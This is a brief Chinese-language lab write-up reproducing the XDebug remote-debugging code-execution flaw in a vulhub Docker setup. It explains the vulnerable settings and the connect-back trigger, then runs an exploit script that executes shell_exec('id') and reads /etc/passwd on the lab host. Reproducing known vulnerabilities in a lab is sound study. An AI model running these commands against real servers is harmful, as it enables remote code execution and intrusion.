XDebug远程调试漏洞
xdebug
Xdebug是一个开放源代码的PHP程序调试器(即一个Debug工具),可以用来跟踪,调试和分析PHP程序的运行状况。
如果目标开启了远程调试模式,并设置
remote_connect_back = 1
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
这个配置下,我们访问
http://target/index.php?XDEBUG_SESSION_START=phpstorm
,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For
头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。
环境搭建
cd /vulhub/php/xdebug-rce
docker-compose up -d
启动完成后打开http://192.168.3.151:8080
发现主页是phpinfo
查看xdebug配置
测试
使用官方的漏洞复现脚本
python3 exp.py -t http://192.168.3.151:8080/index.php -c 'shell_exec('id');'
看一下/etc/passwd
python3 exp.py -t http://192.168.3.151:8080/index.php -c 'shell_exec("cat /etc/passwd");'
结束!!!